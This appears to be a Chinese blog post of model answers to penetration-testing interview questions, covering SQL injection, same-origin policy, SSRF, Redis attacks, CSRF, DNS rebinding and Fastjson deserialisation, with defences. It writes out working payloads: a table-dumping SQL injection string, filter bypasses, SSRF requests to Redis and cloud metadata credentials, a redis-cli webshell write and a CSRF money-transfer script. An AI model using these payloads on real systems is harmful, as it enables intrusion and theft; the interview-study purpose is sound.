2025年渗透测试面试题总结-38(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[3. 渗透测试流程](#3. 渗透测试流程)

[4. SQL注入原理及Payload](#4. SQL注入原理及Payload)

[5. SQL注入空格绕过技术](#5. SQL注入空格绕过技术)

[6. SQL注入防御及预处理局限性](#6. SQL注入防御及预处理局限性)

[7. 同源策略(SOP)](#7. 同源策略(SOP))

[8. a.baidu.com 与b.baidu.com 同源判断](#8. a.baidu.com 与b.baidu.com 同源判断)

[9. SSRF原理与利用](#9. SSRF原理与利用)

[10. Redis攻击Payload](#10. Redis攻击Payload)

[11. CSRF原理与防御](#11. CSRF原理与防御)

[12. JSON格式CSRF利用技巧](#12. JSON格式CSRF利用技巧)

[13. SameSite属性](#13. SameSite属性)

[14. DNS重绑定攻击](#14. DNS重绑定攻击)

[15. Fastjson反序列化漏洞与修复](#15. Fastjson反序列化漏洞与修复)

[16. 子域名枚举工具与响应码200问题](#16. 子域名枚举工具与响应码200问题)

[17. Java掌握程度](#17. Java掌握程度)

回答总结

复制代码
3.渗透测试的流程
4.SQL注入原理,及常用payload(手写-爆表名)
5.SQL注入空格不能使用如何绕过
6.SQL注入防御,延申预处理不能预防哪些注入
7.同源策略
8.a.baidu.com和b.baidu.com是否同源
9.SSRF原理,利用
10.攻击redis的方式(手写payload)
11.CSRF的原理及防御
12.一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type)
13.SameSite
14.DNS Rebinding
15.Fastjson反序列化及如何修复
16.子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因?
17.Java学到哪种程度了?

3. 渗透测试流程

五阶段模型

  1. 情报收集
    • 被动侦察(Whois、DNS记录、GitHub信息泄露)
    • 主动扫描(Nmap端口扫描、Wappalyzer技术栈识别)
  2. 威胁建模
    • 绘制攻击面(网络拓扑、API端点、第三方组件)
    • 风险优先级排序(CVSS评分 + 业务影响)
  3. 漏洞分析
    • 自动化扫描(Nessus、Burp Suite)
    • 手动验证(逻辑漏洞、权限绕过)
  4. 渗透利用
    • 武器化攻击链(Metasploit模块、自定义EXP)
    • 横向移动(Pass-the-Hash、Kerberoasting)
  5. 报告与复测
    • 漏洞详情(PoC截图、风险等级、CWE编号)
    • 修复建议(代码示例 + 配置加固方案)

4. SQL注入原理及Payload

原理 :未过滤用户输入,使攻击者拼接恶意SQL语句,破坏查询逻辑。
爆表名Payload (MySQL示例):sql

复制代码
`' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()-- -`

关键点

  • information_schema.tables 存储元数据
  • group_concat() 合并多行结果
  • -- - 注释后续语句

5. SQL注入空格绕过技术

当空格被过滤时,替代方案:

绕过方式 示例 适用场景
内联注释 SELECT/**/1 MySQL
括号包裹 UNION(SELECT(1)) 多数数据库
特殊字符 %09(Tab)、%0a(换行) URL编码场景
反引号/引号 UNION`SELECT`1 MySQL反引号特性

6. SQL注入防御及预处理局限性

防御方案

  • 参数化查询(Java:PreparedStatement,Python:cursor.execute(%s)
  • 输入过滤(正则匹配:/^[a-z0-9_]+$/
  • 最小权限原则(DB账号禁用DROPFILE权限)

预处理无法防御的场景

  1. 动态表名/列名

    复制代码
    java`String query = "SELECT * FROM " + userInput; // 预处理无效! `
  2. IN()子句参数化困难

    复制代码
    sql`WHERE id IN (?) // 只能绑定单值,需特殊处理 `
  3. ORDER BY动态排序

    复制代码
    sql`ORDER BY ? // 预处理会将参数视为字符串而非列名 `

7. 同源策略(SOP)

定义 :协议+域名+端口三者完全一致才允许跨域访问。
管控范围

  • DOM访问(iframe跨域隔离)
  • Cookie/Storage读取
  • AJAX请求(需CORS放行)

8. a.baidu.com 与b.baidu.com 同源判断

结论非同源

  • 原因:子域名不同(a vs b
  • 例外:可通过设置document.domain = 'baidu.com' 实现次级域同源(需双方主动配置)

9. SSRF原理与利用

原理 :服务端发起未校验的网络请求,导致内网探测或协议滥用。
利用链

复制代码
http`GET /proxy?url=http://192.168.1.1/admin HTTP/1.1 `

高级利用

  • Redis未授权访问

    复制代码
    http`gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$16%0d%0a攻击者密码%0d%0a `
  • 云元数据泄露

    复制代码
    http`http://169.254.169.254/latest/meta-data/iam/security-credentials/`

10. Redis攻击Payload

写Webshell(需绝对路径):

复制代码
bash`redis-cli -h 目标IP flushall set shell "<?php system($_GET['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save `

11. CSRF原理与防御

原理 :诱导用户会话中触发恶意请求(如转账链接)。
防御方案

方法 实现
CSRF Token 表单隐藏字段 + 服务端校验
SameSite Cookie Set-Cookie: key=val; SameSite=Strict
验证Referer/Origin 检查请求来源域名

12. JSON格式CSRF利用技巧

场景 :后端仅接受Content-Type: application/json时,传统表单无效。
绕过方案

  1. Flash + 307跳转(已淘汰)

  2. JSONP劫持(仅GET请求)

  3. 构造恶意页面

    复制代码
    html`<script> fetch('https://api.com/transfer', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({to: 'attacker', amount: 1000}) }) </script>`

    前提 :用户Cookie未设置SameSite=Lax/Strict


13. SameSite属性

模式 跨站请求携带Cookie 典型场景
None 允许 需HTTPS + 显式声明
Lax GET请求允许 外部链接跳转
Strict 禁止 敏感操作

14. DNS重绑定攻击

原理 :利用DNS响应TTL过期后返回新IP(如先指向攻击者IP,再绑定127.0.0.1),绕过同源策略访问内网。
防御

  • 应用层验证Host头
  • 防火墙限制内网访问

15. Fastjson反序列化漏洞与修复

漏洞根源@type属性指定任意类,触发JNDI注入(如com.sun.rowset.JdbcRowSetImpl )。
修复方案

  1. 升级至1.2.83+ 并开启safeMode
  2. 黑白名单控制(ParserConfig.getGlobalInstance().addDeny()
  3. 替换Gson/Jackson等更安全库

16. 子域名枚举工具与响应码200问题

工具与原理

工具 原理
Sublist3r 聚合搜索引擎数据(Google/SSL证书等)
Amass DNS暴力破解 + WHOIS反查
Assetfinder 递归查询NS记录

全子域名返回200的可能原因

  1. 通配符DNS解析*.example.com → 同一IP
  2. 统一错误页面:所有未知子域名重定向至首页
  3. 负载均衡策略:未配置默认后端服务

验证方法

复制代码
bash`host random12345.example.com # 检查随机子域名是否解析 `

17. Java掌握程度

安全视角的Java能力

  • 漏洞分析:熟悉反射、类加载、JNDI等底层机制(支撑反序列化漏洞利用)
  • 安全编码
    • 避免Runtime.exec() ,改用ProcessBuilder
    • 密码存储用BCryptPasswordEncoder
  • 框架安全
    • Spring Security配置(CSRF防护、CORS策略)
    • Shiro权限绕过漏洞原理
  • JVM调优 :内存马检测(分析java.lang.ClassLoader.defineClass 调用栈)

回答总结

  1. 技术深度覆盖:从注入漏洞到协议级攻击(如DNS重绑定)
  2. 防御实践导向:每个漏洞均提供可落地的修复方案
  3. 前沿场景适配:JSON CSRF、SameSite策略等新威胁详解
相关推荐
小墙程序员1 小时前
一文了解 Android 5 到 16 期间跨进程通信(IPC) 的使用
android·android studio
上海控安1 小时前
上海控安:WiFi网络安全攻击
安全·web安全
Ka1Yan2 小时前
什么是策略模式?策略模式能带来什么?——策略模式深度解析:从概念本质到Java实战的全维度指南
java·开发语言·数据结构·算法·面试·bash·策略模式
绝无仅有2 小时前
Go 语言面试指南:常见问题及答案解析
后端·面试·go
普通网友2 小时前
面试八股文之——Java集合
面试·java集合
Narutolxy3 小时前
DMZ层Nginx TLS 终止与安全接入配置实战20250829
redis·nginx·安全
雨白3 小时前
Android 自定义 View 基础:布局流程详解
android
leon_teacher3 小时前
HarmonyOS权限管理应用
android·服务器·前端·javascript·华为·harmonyos
杯莫停丶4 小时前
使用Java实现PDF文件安全检测:防止恶意内容注入
java·安全·pdf
青鱼入云4 小时前
【面试场景题】三阶段事务提交比两阶段事务提交的优势是什么
分布式·面试